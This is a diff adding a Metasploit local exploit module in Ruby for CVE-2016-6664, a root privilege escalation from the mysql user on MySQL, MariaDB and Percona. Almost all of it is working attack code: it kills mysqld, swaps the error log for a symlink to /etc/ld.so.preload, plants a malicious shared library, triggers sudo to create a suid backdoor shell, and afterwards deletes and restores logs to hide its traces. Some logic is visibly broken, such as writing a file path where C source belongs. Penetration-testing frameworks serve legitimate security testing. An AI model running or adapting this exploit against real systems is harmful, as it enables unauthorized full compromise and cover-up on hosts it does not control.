|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require "msf/core" |
| 7 | + |
| 8 | +class MetasploitModule < Msf::Exploit::Local |
| 9 | + Rank = GoodRanking |
| 10 | + |
| 11 | + include Msf::Post::Common |
| 12 | + include Msf::Post::File |
| 13 | + include Msf::Exploit::EXE |
| 14 | + include Msf::Exploit::FileDropper |
| 15 | + |
| 16 | + def initialize(info = {}) |
| 17 | + super(update_info(info, |
| 18 | + 'Name' => 'MySQL / MariaDB / Percona - Root Privilege Escalation', |
| 19 | + 'Description' => %q{ |
| 20 | + MySQL-based databases including MySQL, MariaDB and Percona are affected |
| 21 | + by a privilege escalation vulnerability which can let attackers who have |
| 22 | + gained access to mysql system user to further escalate their privileges |
| 23 | + to root user allowing them to fully compromise the system. |
| 24 | + }, |
| 25 | + 'License' => MSF_LICENSE, |
| 26 | + 'Author' => |
| 27 | + [ |
| 28 | + 'x2020 <[email protected]>', # Module |
| 29 | + 'Dawid Golunski' # Discovery |
| 30 | + ], |
| 31 | + 'DisclosureDate' => 'Nov 01 2016', |
| 32 | + 'Platform' => [ 'linux'], |
| 33 | + 'SessionTypes' => ['shell', 'meterpreter'], |
| 34 | + 'Targets' => [ ['Automatic', {}] ], |
| 35 | + 'DefaultTarget' => 0, |
| 36 | + 'DefaultOptions' => |
| 37 | + { |
| 38 | + 'DisablePayloadHandler' => true |
| 39 | + }, |
| 40 | + 'References' => |
| 41 | + [ |
| 42 | + [ 'EDB', '40679'], |
| 43 | + [ 'CVE', '2016-6664'], |
| 44 | + [ 'URL', 'https://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html'] |
| 45 | + ] |
| 46 | + )) |
| 47 | + register_options( |
| 48 | + [ |
| 49 | + OptString.new('ErrorLog', [ true, 'The error log file', '/var/log/mysql/error.log' ]), |
| 50 | + OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]), |
| 51 | + OptString.new('BackdoorShell', [ true, 'The shell path', '/bin/bash' ]), |
| 52 | + OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]) |
| 53 | + ], self.class) |
| 54 | + end |
| 55 | + |
| 56 | + def check |
| 57 | + |
| 58 | + def check_reqs?() |
| 59 | + # should have mysqld_safe running |
| 60 | + check_command = "if pgrep mysqld; " |
| 61 | + check_command << "then echo OK; " |
| 62 | + check_command << "fi" |
| 63 | + output = cmd_exec(check_command).gsub("\r", '') |
| 64 | + vprint_status output |
| 65 | + if output['OK'] == 'OK' |
| 66 | + vprint_good "mysqld_safe is running" |
| 67 | + return true |
| 68 | + end |
| 69 | + print_error "mysqld process not running" |
| 70 | + false |
| 71 | + end |
| 72 | + |
| 73 | + def mysql_user?() |
| 74 | + # test for mysql user |
| 75 | + mysql = cmd_exec("id | grep -E '(mysql)'") |
| 76 | + if not mysql.include?("mysql") |
| 77 | + print_error "The current session user (#{mysql}) is not mysql" |
| 78 | + return false |
| 79 | + end |
| 80 | + vprint_good "The current user is mysql" |
| 81 | + true |
| 82 | + end |
| 83 | + |
| 84 | + def preload_exists?() |
| 85 | + if exists?("/etc/ld.so.preload") |
| 86 | + print_error "Found ld.so.preload. Exiting for safety." |
| 87 | + return true |
| 88 | + end |
| 89 | + false |
| 90 | + end |
| 91 | + |
| 92 | + def sudo_exists?() |
| 93 | + @sudo = cmd_exec('which sudo') |
| 94 | + if @sudo.include?("sudo") |
| 95 | + return true |
| 96 | + end |
| 97 | + false |
| 98 | + end |
| 99 | + |
| 100 | + if check_reqs? and mysql_user? and sudo_exists? |
| 101 | + if preload_exists? |
| 102 | + return CheckCode::Detected |
| 103 | + end |
| 104 | + return CheckCode::Appears |
| 105 | + end |
| 106 | + |
| 107 | + CheckCode::Safe |
| 108 | + end |
| 109 | + |
| 110 | + def exploit |
| 111 | + |
| 112 | + if check != CheckCode::Appears |
| 113 | + fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!') |
| 114 | + end |
| 115 | + |
| 116 | + # first thing we need to do is determine our method of exploitation: compiling realtime, or droping a pre-compiled version. |
| 117 | + def has_prereqs?() |
| 118 | + vprint_status('Checking if gcc is installed') |
| 119 | + if target.name == "Ubuntu" |
| 120 | + gcc = cmd_exec('which gcc') |
| 121 | + if gcc.include?('gcc') |
| 122 | + vprint_good('gcc is installed') |
| 123 | + else |
| 124 | + print_error('gcc is not installed. Compiling will fail.') |
| 125 | + end |
| 126 | + return gcc.include?('gcc') |
| 127 | + else |
| 128 | + return false |
| 129 | + end |
| 130 | + end |
| 131 | + |
| 132 | + compile = has_prereqs? |
| 133 | + if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True' |
| 134 | + if has_prereqs?() |
| 135 | + compile = true |
| 136 | + vprint_status('Live compiling exploit on system') |
| 137 | + else |
| 138 | + vprint_status('Dropping pre-compiled exploit on system') |
| 139 | + end |
| 140 | + end |
| 141 | + |
| 142 | + # build file names and locations |
| 143 | + privesclib_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8) + ".so" |
| 144 | + privescsrc_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8) + ".c" |
| 145 | + pwn_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8) |
| 146 | + payload_path = datastore["WritableDir"] + "/" + rand_text_alpha(8) |
| 147 | + backdoorsh = datastore["BackdoorShell"] |
| 148 | + backdoorpath = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8) |
| 149 | + error_log_file = datastore["ErrorLog"] |
| 150 | + |
| 151 | + # setup the files |
| 152 | + rm_f pwn_file |
| 153 | + if compile |
| 154 | + vprint_status "Writing pwn source to #{privescsrc_file}" |
| 155 | + rm_f privescsrc_file |
| 156 | + write_file(privescsrc_file, privesclib_file) |
| 157 | + cmd_exec("gcc -Wall -fPIC -shared -o #{privesclib_file} #{privescsrc_file} -ldl") |
| 158 | + register_file_for_cleanup(privescsrc_file) |
| 159 | + else |
| 160 | + # privesclib.so file |
| 161 | + path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-6664', '2016-6664.out') |
| 162 | + fd = ::File.open( path, "rb") |
| 163 | + privesclib = fd.read(fd.stat.size) |
| 164 | + fd.close |
| 165 | + vprint_status "Writing privesclib to #{privesclib_file}" |
| 166 | + backdoorpath = "/tmp/mysqlrootsh" # hardcoded into privesclib.so |
| 167 | + write_file(privesclib_file, privesclib) |
| 168 | + end |
| 169 | + register_file_for_cleanup(backdoorpath) |
| 170 | + register_file_for_cleanup(privesclib_file) |
| 171 | + |
| 172 | + # the actual pwning |
| 173 | + def do_pwn(privesclib_file, suidbin, backdoorpath, payload_path) |
| 174 | + print_status "Executing escalation." |
| 175 | + do_cmd_exec("echo #{privesclib_file} > /etc/ld.so.preload") |
| 176 | + do_cmd_exec("chmod 755 /etc/ld.so.preload") |
| 177 | + do_cmd_exec("#{suidbin} 2>/dev/null >/dev/null") |
| 178 | + do_cmd_exec("#{backdoorpath} -p -c \"rm -f /etc/ld.so.preload; rm -f #{privesclib_file}\"") |
| 179 | + do_cmd_exec("#{backdoorpath} -p") |
| 180 | + end |
| 181 | + |
| 182 | + # reset system state |
| 183 | + def do_cleanup(error_log_file) |
| 184 | + cmd_exec("rm -f #{error_log_file}") |
| 185 | + cmd_exec("mv -f #{error_log_file}.tmp #{error_log_file}") |
| 186 | + cmd_exec("if [ -f /etc/ld.so.preload ]; then echo -n > /etc/ld.so.preload; fi") |
| 187 | + vprint_status "Cleanup done." |
| 188 | + end |
| 189 | + |
| 190 | + # util cmd_exec with verbose print |
| 191 | + def do_cmd_exec(cmd) |
| 192 | + vprint_status cmd |
| 193 | + r = cmd_exec(cmd) |
| 194 | + if r != "" |
| 195 | + print_status r |
| 196 | + end |
| 197 | + end |
| 198 | + |
| 199 | + # initial setup for pwning |
| 200 | + vprint_status "Seting up the preload trap" |
| 201 | + do_cmd_exec("cp #{backdoorsh} #{backdoorpath}") |
| 202 | + do_cmd_exec("touch -f #{error_log_file}; mv #{error_log_file} #{error_log_file}.tmp && ln -s /etc/ld.so.preload #{error_log_file}") |
| 203 | + do_cmd_exec("kill $(pgrep mysqld)") |
| 204 | + |
| 205 | + # wait for restart |
| 206 | + print_status "Waiting for mysqld to restart..." |
| 207 | + cmd_exec("while :; do { sleep 0.1; if [ -f /etc/ld.so.preload ]; then { echo #{privesclib_file} > /etc/ld.so.preload; rm -f #{error_log_file}; break; } fi } done", nil, 125) |
| 208 | + |
| 209 | + # pwn the system |
| 210 | + do_pwn(privesclib_file, @sudo, backdoorpath, payload_path) |
| 211 | + |
| 212 | + # cleanup the mess |
| 213 | + do_cleanup(error_log_file) |
| 214 | + |
| 215 | + end |
| 216 | +end |
0 commit comments